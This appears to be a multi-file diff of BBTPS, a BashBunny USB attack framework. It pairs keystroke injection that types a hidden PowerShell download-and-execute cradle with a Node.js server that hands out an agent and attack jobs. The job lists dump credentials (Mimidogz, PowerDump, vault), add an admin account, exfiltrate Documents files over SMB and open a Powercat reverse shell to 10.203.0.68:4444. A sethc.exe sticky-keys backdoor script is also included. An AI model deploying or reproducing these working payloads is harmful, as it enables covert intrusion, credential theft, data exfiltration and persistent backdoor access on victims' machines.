$returnstring += "From those, the following filetypes or files from you list were pulled.`r`n`r`n"
foreach($fileExt in $filenames)
{
$returnstring += "Type {0}: {1} files.`r`n" -f ($fileExt, ($targetfiles | where {$_.Extension -like $fileExt}).Count)
}
$targetfiles
return $returnstring | Out-String
}

View File

@ -0,0 +1,56 @@
<#
.Synopsis
Adds cmd shell backdoor to machine.
.DESCRIPTION
Replaces sethc.exe with cmd.exe so when you initiate the handicap function by hitting shift 5 times
or hitting the handicap button on the logon screen will give you a full priviledge cmd shell.
.EXAMPLE
Invoke-HandicapBackdoor
#>
function Invoke-SethcBD
{
[CmdletBinding()]
Param()
function Get-isHighIntegrity
{
$isAdmin = $false
#If the process is running as System then we are in a high integrity process.
if(([Environment]::UserName).ToLower() -eq 'system') {
$isAdmin = $true
}else{
# otherwise check the token groups
$isadmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
}
return $isAdmin
}
if (-not (Get-isHighIntegrity)){
return "Module must be ran UAC Bypassed."
}
try {
$sethcFile = "C:\Windows\System32\sethc.exe"
$cmdFile = "C:\Windows\System32\cmd.exe"
$sethcBak = "C:\Windows\System32\sethc.bak"
$takeown = "c:\windows\system32\takeown.exe"
$icacls = "c:\windows\system32\icacls.exe"
if(Test-Path -Path $sethcBack)
{
return "Backup of sethc.exe detected, module might have already been run."
}
$null = IEX "$takeown /A /F $sethcFile"
$null = IEX "$icacls $sethcFile /grant Administrators:F"
Rename-Item -Path $sethcFile -NewName $sethcBak
Copy-Item -Path $cmdFile -Destination $sethcFile
return "Successfully installed handicap backdoor"
}
catch {
return ("There was an error adding backdoor:`r`n{0}" -f ($_.Exception.Message))
}
}

View File

@ -0,0 +1,24 @@
[{
"jobName" :"Get-VaultCredential",
"command" :"Get-VaultCredential | out-string",
"runType" :"thread",
"scriptName":"Get-VaultCredential.ps1"
},
{
"jobName" :"Mimidogz",
"command" :"Invoke-Mimidogz -DumpCred | out-string",
"runType" :"thread",
"scriptName":"Invoke-Mimidogz.ps1"
},
{
"jobName" :"PowerDump",
"command" :"Invoke-PowerDump | out-string",
"runType" :"thread",
"scriptName":"Invoke-PowerDump.ps1"
},
{
"jobName" :"AddAdminUser",
"command" :"Invoke-AddAdminUser -UserName \"BBAdmin\" -Password \"BBPassword1!\" | Out-String",
"runType" :"thread",
"scriptName":"Invoke-AddAdminUser.ps1"
}]

View File

@ -0,0 +1,18 @@
[{
"jobName" :"VaultCredential",
"command" :"Get-VaultCredential | out-string",
"runType" :"thread",
"scriptName":"Get-VaultCredential.ps1"
},
{
"jobName" :"AdminJobs",
"command" :"Invoke-AdminJobs",
"runType" :"thread",
"scriptName":"Invoke-AdminJobs.ps1"
},
{
"jobName" :"SMBExfil",
"command" :"Invoke-SMBExfil \"$env:userprofile\\Documents\" $BB_SMBLOOT @(\"*.txt\",\"*.docx\",\"*.pdf\",\"*.jpg\",\"*.gif\",\"*.xlsx\")",
"runType" :"thread",
"scriptName":"Invoke-SMBExfil.ps1"
}]

View File

@ -0,0 +1,24 @@
[{
"jobName" :"VaultCredential",
"command" :"Get-VaultCredential | out-string",
"runType" :"thread",
"scriptName":"Get-VaultCredential.ps1"
},
{
"jobName" :"AdminJobsTP",
"command" :"Invoke-AdminJobs",
"runType" :"thread",
"scriptName":"Invoke-AdminJobsTP.ps1"
},
{
"jobName" :"PowerCat",
"command" :"Connect-Powercat -Mode TCP -RemoteIP \"10.203.0.68\" -Port 4444 -Execute",
"runType" :"process",
"scriptName":"Connect-PowerCat2.ps1"
},
{
"jobName" :"SMBExfil",
"command" :"Invoke-SMBExfil \"$env:userprofile\\Documents\" $BB_SMBLOOT @(\"*.docx\",\"*.pdf\",\"*.jpg\",\"*.gif\",\"*.xlsx\")",
"runType" :"thread",
"scriptName":"Invoke-SMBExfil.ps1"
}]

View File

@ -0,0 +1,11 @@
#!/bin/bash
# Job config selector file. Use this file to export the base config for your
# batch job. Config file template is located in templates/payload_config_template.txt
# Example configs are included in the configs folder of this project.
# Default test config payload
#source $PAYLOADFOLDER/configs/bbtpsdefault.txt
# TotalP0wn Payload config
source $PAYLOADFOLDER/configs/totalp_config.txt

View File

@ -0,0 +1,19 @@
{
"name": "bbtps",
"version": "1.6.0",
"description": "BashBunny BBTPS MultiServe Server. Serves multiple payloads from bash bunny.",
"main": "payserver.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "PoSHMagiC0de",
"license": "MIT",
"dependencies": {
"body-parser": "^1.17.1",
"express": "^4.15.2"
},
"repository": {
"type": "git",
"url": "git://github.com/PoSHMagiC0de/BBTPS.git"
}
}

View File

@ -0,0 +1,51 @@
#!/bin/bash
# Title: BashBunny Total P0wn System
# Description: Multipayload handling Tool
# Author: PoSHMagiC0de
# Version: 1.6.0
# Category: Tools
# Target: Windows 7+, Powershell 2.0+
# Attackmodes: HID, Ethernet, or both at same time
# BashBunny Firmware: 1.3
#
# LED DESCRIPTIONS:
# Solid Magenta Attackmode initialization for both HID and Ethernet
# Yellow Single Blink Start HID Quack Attack
# Cyan Inverted Blink Node Server Initializing
# Yellow 2x Blink Agent being delivered
# Yellow 3x Blink First Job Being Delivered to Agent
# Green Agent Finished Successfully
# Red Server Errored Out
#
# Server port is at 1337
# DO NOT MODIFY ANY CODE IN THIS FILE, USE JOBSELECT.TXT FILE TO CONFIGURE.
REQUIRETOOL impacket
GET SWITCH_POSITION
# Setup for payload directory, you can set for whatever you want.
export PAYLOADFOLDER="/root/udisk/payloads/$SWITCH_POSITION"
# BashBunny IP. IP here will be overwritten in dualattack mode.
export SERVERIP="172.16.64.1"
# Config selector file to select configuration for attack mode and types.
source $PAYLOADFOLDER/jobselect.txt
if [ -z $ROOTFOLDERNAME]; then
export ROOTFOLDERNAME="bbtps"
fi
# Root path to loot folder.
export ROOTLOOTDIR="/root/udisk/loot/$ROOTFOLDERNAME"
# Create Root Loot Directory
if [ ! -d $ROOTLOOTDIR ]; then
mkdir $ROOTLOOTDIR
fi
# Set Attack Mode Type
if [ $ATMODE -eq 0 ]; then
source $PAYLOADFOLDER/payloadmods/singleattack.txt
else
source $PAYLOADFOLDER/payloadmods/dualattack.txt
fi

View File

@ -0,0 +1,33 @@
#!/bin/bash
#### INITIALIZE STAGE ####
LED SETUP
# DO NOT USE, WILL BE IMPLEMENTED IN FUTURE UPDATE
# export SERVER_PORT=1337
#### SET HID AND NETWORK ATTACKMODE ####
ATTACKMODE HID RNDIS_ETHERNET RNDIS_SPEED_10000
# sleep 5
# Get target machine name and make loot folder for it.
while [ -z $TARGET_HOSTNAME ]; do
GET TARGET_HOSTNAME;
sleep 1;
done
# Set Loot dir to machine name off of root loot dir for BBTPS
export LOOTDIR="$ROOTLOOTDIR/$TARGET_HOSTNAME"
if [ ! -d $LOOTDIR ]; then
mkdir $LOOTDIR;
fi
GET HOST_IP
export SERVERIP=$HOST_IP
# HID Script
source $PAYLOADFOLDER/payloadmods/qinitial.txt
#Network Initialization and deploy
source $PAYLOADFOLDER/payloadmods/netinitial.txt

View File

@ -0,0 +1,18 @@
#!/bin/bash
# Addition exports to hand to payserver for config pull for helper variables for payloads.
export BB_SMBROOT="\\\\$SERVERIP\\$ROOTFOLDERNAME"
export BB_SMBLOOT="\\\\$SERVERIP\\$ROOTFOLDERNAME\\$TARGET_HOSTNAME"
## SMBServer for any file exfiltration, point them to \\bashbunnyip\bbtps.
$(python /tools/impacket/examples/smbserver.py -comment "bbserver" "$ROOTFOLDERNAME" $ROOTLOOTDIR/ >> $LOOTDIR/smblogs.txt) &
/usr/bin/nodejs $PAYLOADFOLDER/payserver.js
export HADERROR=$?
if [ ! $HADERROR -eq 0 ]; then
LED FAIL
fi
# Kill smb server when done.
kill $( ps -a | grep python | awk '{print $1}' )
exit

View File

@ -0,0 +1,30 @@
#!/bin/bash
# Initial duck commands to get prompt.
if [ -z $Q_DELAY1 ]; then
export Q_DELAY1=8000
fi
if [ -z $Q_DELAY2 ]; then
export Q_DELAY2=8000
fi
LED ATTACK
if [ $GETADMIN -eq 1 ]; then
RUN WIN powershell -C "start-process cmd -verb runas"
Q DELAY $Q_DELAY1
Q ALT Y
Q DELAY $Q_DELAY2
Q ENTER
else
RUN WIN cmd
Q DELAY $Q_DELAY1
Q ENTER
fi
# If in debug mode then will run Powershell visible in verbose mode else it will be hidden.
if [ $DEBUG -eq 1 ]; then
Q STRING "powershell -NonI -Nop -C \"\$p='$SERVERIP';\$ic=1;\$jr=0;while(\$ic -le 20){if((test-connection \$p -count 1 -quiet) -eq \$true){try{iex (new-object net.webclient).DownloadString('http://'+\$p+':1337/getAgent');\$jr=1;}catch{\$ic++}if(\$jr){Invoke-bbAgent \$p 1337 -verbose;exit}}else{\$ic++}sleep -s 2}\""
Q ENTER
else
Q STRING "powershell -NonI -W Hidden -Nop -C \"\$p='$SERVERIP';\$ic=1;\$jr=0;while(\$ic -le 20){if((test-connection \$p -count 1 -quiet) -eq \$true){try{iex (new-object net.webclient).DownloadString('http://'+\$p+':1337/getAgent');\$jr=1;}catch{\$ic++}if(\$jr){Invoke-bbAgent \$p 1337;exit}}else{\$ic++}sleep -s 2}\""
Q ENTER
fi

View File

@ -0,0 +1,28 @@
#!/bin/bash
#### INITIALIZE STAGE ####
LED SETUP
#### HID STAGE ####
ATTACKMODE HID
# HID Script
source $PAYLOADFOLDER/payloadmods/qinitial.txt
#### ETHERNET STAGE ####
ATTACKMODE RNDIS_ETHERNET RNDIS_SPEED_10000
LED SETUP
# Get target hostname
while [ -z $TARGET_HOSTNAME ]; do
GET TARGET_HOSTNAME
sleep 1
done
# Create loot dir from machine name inside BBTPS loot folder
export LOOTDIR=$ROOTLOOTDIR/$TARGET_HOSTNAME
if [ ! -d $LOOTDIR ]; then
mkdir $LOOTDIR
fi
# Network initialization and deploy
source $PAYLOADFOLDER/payloadmods/netinitial.txt

View File

@ -0,0 +1,225 @@
//Initializes main server modules
/*
App Name: BBTPS Delivery Server
Author: PoSHMagiC0de
Description:
Payload deliver servicer for BashBunny to handle delivery if
Agent, payloads and reception of textual data.
*/
var Debug = process.env["JSDEBUG"] || false;
var prc = require('child_process');
prc.exec('LED SPECIAL1').unref();
var fs = require('fs');
var zlib = require('zlib');
var http = require('http');
//var express = require('express');
//var bodyParser = require('body-parser');
//var app = express();
var port = 1337;
var lootdir = process.env['LOOTDIR'] || __dirname + '/tmploot';
var jobsfolder = process.env['JOBFOLDER'] || __dirname + '/jobs/default';
var agentfile = __dirname + '/agent/bbAgent1.ps1';
var joblist = require(process.env['JOBLIST'] || (jobsfolder + '/joblist.json'));
//Initialize config variables for agent to pull
var SERVERIP = process.env["SERVERIP"];
var TARGET_HOSTNAME = process.env["TARGET_HOSTNAME"] || 'TestMachine';
var BB_SMBROOT = process.env["BB_SMBROOT"] || '\\\\' + SERVERIP + '\\tmploot';
var BB_SMBLOOT = process.env["BB_SMBLOOT"] || BB_SMBROOT + '\\' + TARGET_HOSTNAME;
//app.use(bodyParser.json());
//app.use(bodyParser.urlencoded({extended:false}));
var FirstRun = false;
var AgentRequested = false;
var hasJobs = true;
//process jobslist
if(Debug){
console.log(joblist);
console.log("Loot dir is:" + lootdir);
console.log("Jobsfolder is:" + jobsfolder);
}
var helper = require(__dirname + '/helpers.js');
joblist = helper.jobParser(joblist, jobsfolder);
if(Debug){console.log(joblist);}
function writeJSONData(response, data) {
response.writeHead(200, {"Content-Type": "application/json"});
response.write(JSON.stringify(data));
response.end();
}
function write404Response(request, response) {
response.writeHead(404, {"Content-Type": "text/plain"});
response.write("Error: Page not found");
response.end();
}
function writeStringData(response, data) {
response.writeHead(200, {"Content-Type": "text/plain"});
response.write(data);
response.end();
}
function onGet(request, response) {
switch(request.url) {
case "/getAgent":
if(Debug){console.log('Agent Requested...');}
if(AgentRequested == false){
prc.exec('LED STAGE2').unref();
if(Debug){console.log('Agent download led indicator lit..');}
AgentRequested = true;
}
fs.readFile(agentfile, 'utf8', function(err, data){
if(err){
if(Debug){console.log('Error reading Agent.');}
write404Response(request, response);
exit(1);
}else{
if(Debug){console.log('Sending Agent...');}
//res.send(data);
writeStringData(response, data);
}
});
break;
case "/getConfig":
var returnConfig = {}
returnConfig.BB_SMBLOOT = BB_SMBLOOT;
returnConfig.BB_SMBROOT = BB_SMBROOT;
returnConfig.TARGET_HOSTNAME = TARGET_HOSTNAME;
writeJSONData(response, returnConfig);
break;
case "/getJob1":
if(Debug){console.log('A job was requested');}
sendjob = joblist.pop();
if(sendjob){
hasJobs = true;
if(FirstRun == false && hasJobs == true){
prc.exec('LED STAGE3').unref();
if(Debug){console.log('LED lights for first job sent..');}
FirstRun = true;
}
var payload = {};
payload.jobName = sendjob.jobName;
payload.command = sendjob.command;
payload.runType = sendjob.runType.toLowerCase();
fs.readFile(sendjob.scriptName, 'utf8', function(err, data){
if(err){
if(Debug){console.log("error reading payload");}
response.end();
}else{
zlib.deflateRaw(new Buffer(data), function(err, buffer){
payload.payload = buffer.toString('base64');
//console.log(payload);
//res.json(payload);
writeJSONData(response, payload);
})
}
});
}else{
if(hasJobs == true){
hasJobs = false;
FirstRun = false;
if(Debug){console.log('No more jobs for agent, lighting LED for empty queue.');}
prc.exec('CLEANUP').unref();
}
var payload = {};
payload.jobName = "none";
payload.payload = "none";
//res.json(payload);
writeJSONData(response, payload);
}
break;
case "/quit":
prc.exec('LED FINISH').unref();
writeStringData(response, "bye");
process.exit(0);
break;
default:
write404Response(request, response);
break;
}
}
function onPost(request, response) {
switch(request.url) {
case "/addJob":
var preJob = "";
request.on('data', function(chunk) {
preJob += chunk;
});
request.on('end', function() {
if(Debug){console.log(preJob);}
var addJobObj = JSON.parse(preJob);
addJobObj = helper.jobParser(addJobObj, jobsfolder);
if(addJobObj){
joblist.push(addJobObj);
//res.send('done');
writeStringData(response, "done");
}else{
//res.send('error');
writeStringData(response, "error");
}
});
break;
case "/pushData":
var preLog = "";
request.on('data', function(chunk) {
preLog += chunk;
});
request.on('end', function() {
if(Debug){console.log(preLog);}
var logData = JSON.parse(preLog);
if(logData.jobName){
var logtmp = lootdir + '/' + logData.jobName + '.log';
fs.writeFile(logtmp, logData.data, function(err){
if(err){
//res.send('error');
writeStringData(response, "error");
}else{
//res.send('success');
writeStringData(response, "success");
}
});
}else{
//res.send('error');
writeStringData(response, "error");
}
});
break;
}
}
function onRequest(request, response) {
if(request.method == "GET") {
onGet(request, response);
}
else if(request.method == "POST") {
onPost(request, response);
} else {
write404Response(request, response);
}
}
var server = http.createServer(onRequest);
server.listen(port, function(err) {
if(err) {
return console.log("Error starting server");
}
if(Debug){
console.log('Starting Server');
console.log('\x1b[33m%s\x1b[0m','Copy and paste the below command to launch the agent on the victim.');
console.log('\x1b[32m%s\x1b[0m','powershell -NonI -Nop -C "$p=\''+SERVERIP+'\';$ic=1;$jr=0;while($ic -le 20){if((test-connection $p -count 1 -quiet) -eq $true){try{iex (new-object net.webclient).DownloadString(\'http://\'+\$p+\':1337/getAgent\');$jr=1;}catch{$ic++}if($jr){Invoke-bbAgent $p 1337 -verbose;exit}}else{$ic++}sleep -s 2}"');
}
});

View File

@ -0,0 +1,12 @@
[{
"jobName" :"Name of job, used for file name.",
"command" :"Powershell function and parameters to execute your code.",
"runType" :"Run inside agent as 'thread' or outside agent as 'process'. Accepts string 'thread' or 'process'"
"scriptName":"Name of script file in jobs folder"
},
{
"jobName" :"",
"command" :"",
"runType" :""'
"scriptName":""
}]

View File

@ -0,0 +1,30 @@
#!/bin/bash
#Template of configuration file for BBTPS.
#You can use this file as a template, do not leave any settings out or
#You will get errors.
# Bunny root loot folder name.
export ROOTFOLDERNAME="bbtps"
# Folder where scripts live.
export JOBFOLDER="$PAYLOADFOLDER/jobs/<jobfoldername>"
# Job runlist json file.
export JOBLIST="$JOBFOLDER/<JSON joblist file"
# Do you want the stager to run as admin, 1 for yes, 0 for no.
export GETADMIN=1
# ATTACKMODE TYPES
# 0 = SINGLE/ 1 = DUAL
export ATMODE=0
# Enable/Disable debug. 1 for on, 0 for off.
export DEBUG=1
# First Quack Delay, after running initial command from run prompt.
export Q_DELAY1=8000
# Second Quack Delay, if getting admin then this is ran after selecting Yes.
export Q_DELAY2=8000

View File

@ -0,0 +1,16 @@
#!/bin/bash
# Test bash shell to initialize and launch smbserver to tmp loot folders
# For exfiltration tests. Must be ran before running payloads to for
# exfiltration to work.
# Requires Impacket on your machine.
if [ ! -d ./tmploot ]; then
mkdir ./tmploot;
mkdir ./TestMachine;
fi
if [ ! -d ./tmploot/TestMachine ]; then
mkdir ./tmploot/TestMachine;
fi
sudo python /usr/share/doc/python-impacket/examples/smbserver.py -c 'TestServer' 'tmploot' $PWD/tmploot/ | tee -a $PWD/tmploot/TestMachine/smb.log

View File

@ -0,0 +1,69 @@
function Send-NewJob
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true, Position=0)]
[string]$jobName,
[Parameter(Mandatory=$true, Position=1)]
[string]$command,
[Parameter(Mandatory=$true, Position=2)]
[ValidateSet("process", "thread")]
[string]$runType,
[Parameter(Mandatory=$true, Position=3)]
[string]$scriptName,
[Parameter(Mandatory=$false, Position=4)]
[string]$addjoburl = $BB_ADDJOBURL
)
add-type -assembly system.web.extensions
$webc = New-Object System.Net.WebClient
function ConvertTo-Json20
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true)]
[psobject]$item
)
Write-Verbose "Converting object to JSON."
$ps_js=new-object system.web.script.serialization.javascriptSerializer
return $ps_js.Serialize($item)
}
function Send-BBData
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true, Position=0)]
[string]$bbURL,
[Parameter(Mandatory=$true, Position=1)]
[hashtable]$jsonData
)
$jsonJob = ConvertTo-Json20 -item $jsonData
$webc.Headers[[System.Net.HttpRequestHeader]::ContentType] = "application/json"
try
{
$null = $webc.UploadString($bbURL, "POST", $jsonJob)
return $true
}
catch
{
return $false
}
}
#Main Part
$jobData = @{
jobName = $jobName
command = $command
runType = $runType
scriptName = $scriptName
}
return (Send-BBData $addjoburl $jobData)
}

View File

@ -0,0 +1,23 @@
{
// Use IntelliSense to learn about possible Node.js debug attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "1.6.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Launch Program",
"program": "${workspaceRoot}/payserver.js",
"env" :{
"JSDEBUG": "true",
"SERVERIP": "192.168.1.136",
"TARGET_HOSTNAME": "TestMachine",
"JOBFOLDER": "${workspaceRoot}/jobs/totalp0wn",
"JOBLIST": "${workspaceRoot}/jobs/totalp0wn/joblist2.json",
"LOOTDIR": "${workspaceRoot}/tmploot/TestMachine"
}
}
]
}